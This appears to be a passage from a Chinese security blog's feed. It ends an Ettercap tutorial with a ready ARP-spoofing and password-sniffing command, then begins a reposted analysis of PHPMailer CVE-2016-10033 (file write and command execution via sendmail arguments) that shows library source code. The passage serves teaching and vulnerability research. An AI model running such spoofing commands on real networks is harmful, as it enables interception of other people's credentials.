&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-P 使用插件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-T 使用基于文本界面
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-q 启动安静模式（不回显）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-M 启动ARP欺骗攻击
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;//  //  代表欺骗的子网网络，如果网络中有多个主机的话，可以在第一个//中加上目标主机，第二个//中加上网关路由ip。&lt;/p&gt;
&lt;p&gt;此外我们可以综合这些参数使用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ettercap –T –q –M arp:remote /192.168.1.101/ //
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ettercap默认就会过滤密码，我们也不需要指定过滤脚本&lt;/p&gt;</description></item><item><title>PHPMailer 命令执行漏洞（CVE-2016-10033）分析</title><link>https://www.lucien116.com/archives/231/</link><pubDate>Tue, 27 Dec 2016 14:42:10 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=231</guid><description>&lt;p&gt;来源： &lt;a href="https://blog.chaitin.cn/phpmailer-cve-2016-10033/"&gt;https://blog.chaitin.cn/phpmailer-cve-2016-10033/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;作者： &lt;a href="https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html"&gt;&lt;strong&gt;phithon@长亭科技&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PHPMailer是一个基于PHP语言的邮件发送组件，被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。&lt;/p&gt;
&lt;p&gt;CVE-2016-10033是PHPMailer中存在的高危安全漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。&lt;/p&gt;
&lt;p&gt;对比一下新老版本： &lt;a href="https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master"&gt;https://github.com/PHPMailer/PHPMailer/compare/v5.2.17&amp;hellip;master&lt;/a&gt; &lt;img alt="img" loading="lazy" src="https://blog.chaitin.cn/phpmailer-cve-2016-10033/media/14827394516349/14827395246777.jpg"&gt;其实答案呼之欲出了——和Roundcube的RCE类似，mail函数的第五个参数，传命令参数的地方没有进行转义。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;回顾一下当时Roundcube的漏洞：因为mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-X参数，通过这个参数可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;详细分析一下，下载一份源码，并切换到5.2.17版本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/PHPMailer/PHPMailer
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd PHPMailer
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git checkout -b CVE-2016-10033 v5.2.17
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;单步调试可以发现确实和之前Roundcube出现的漏洞（ &lt;a href="http://wiki.ioin.in/search?word=roundcube"&gt;http://wiki.ioin.in/search?word=roundcube&lt;/a&gt; ）一样，是传给mail函数的第五个参数没有正确过滤：&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" loading="lazy" src="https://blog.chaitin.cn/phpmailer-cve-2016-10033/media/14827394516349/14827421313172.jpg"&gt;但上图是错的，因为这里是不支持bash的一些语法的，也就是说反引号、 &lt;code&gt;${IFS}&lt;/code&gt; 都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测，这导致我们无法构造出像Roundcube那些可以直接写文件的payload，检测部分的代码如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;/**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;looks&lt;/span&gt; &lt;span class="n"&gt;like&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;callable&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;selector&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;validation&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt; &lt;span class="n"&gt;Pick&lt;/span&gt; &lt;span class="n"&gt;best&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="n"&gt;automatically&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;pcre8&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt; &lt;span class="n"&gt;Use&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;squiloople&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requires&lt;/span&gt; &lt;span class="n"&gt;PCRE&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;8.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PHP&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;5.3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;pcre&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt; &lt;span class="n"&gt;Use&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="n"&gt;PCRE&lt;/span&gt; &lt;span class="n"&gt;implementation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt; &lt;span class="n"&gt;Use&lt;/span&gt; &lt;span class="n"&gt;PHP&lt;/span&gt; &lt;span class="n"&gt;built&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;FILTER_VALIDATE_EMAIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;html5&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt; &lt;span class="n"&gt;Use&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="n"&gt;given&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;HTML5&lt;/span&gt; &lt;span class="n"&gt;spec&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;noregex&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt; &lt;span class="n"&gt;Don&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t use a regex: super fast, really dumb.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Alternatively&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;callable&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;inject&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;own&lt;/span&gt; &lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;PHPMailer&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;validateAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user@example.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;@&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="bp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;also&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;PHPMailer&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;callable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowing&lt;/span&gt; &lt;span class="n"&gt;built&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;boolean&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;public&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;validateAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;validator&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_callable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;call_user_func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;Reject&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="n"&gt;breaks&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;addresses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s valid RFC5322, but not RFC5321&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="bp"&gt;false&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="bp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;auto&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;constant&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;works&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;extension_loaded&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;disabled&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;safe&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;Constant&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PHP&lt;/span&gt; &lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;PCRE_VERSION&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;stuck&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;recursive&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PCRE&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mf"&gt;8.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;version_compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PCRE_VERSION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;8.0.3&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pcre8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pcre&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;function_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;extension_loaded&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;extension_loaded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pcre&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;Fall&lt;/span&gt; &lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;older&lt;/span&gt; &lt;span class="n"&gt;PCRE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pcre&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
